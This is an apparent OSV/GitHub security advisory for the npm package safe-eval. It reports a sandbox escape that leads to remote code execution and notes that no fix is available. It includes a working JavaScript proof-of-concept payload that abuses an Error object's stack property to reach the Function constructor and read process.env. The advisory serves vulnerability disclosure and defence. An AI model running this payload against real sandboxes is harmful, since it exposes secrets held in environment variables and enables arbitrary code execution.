OSV 1.4.0 · github-reviewed · 修改于 2023-09-12 07:01
发布时间
2020-08-26 07:40
GitHub 审查时间
2020-08-26 05:20
NVD 发布时间
2020-08-21 18:15
源文件
advisories/github-reviewed/2020/08/GHSA-hrpq-r399-whgw/GHSA-hrpq-r399-whgw.json
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
No fix is currently available. Consider using an alternative package until a fix is made available.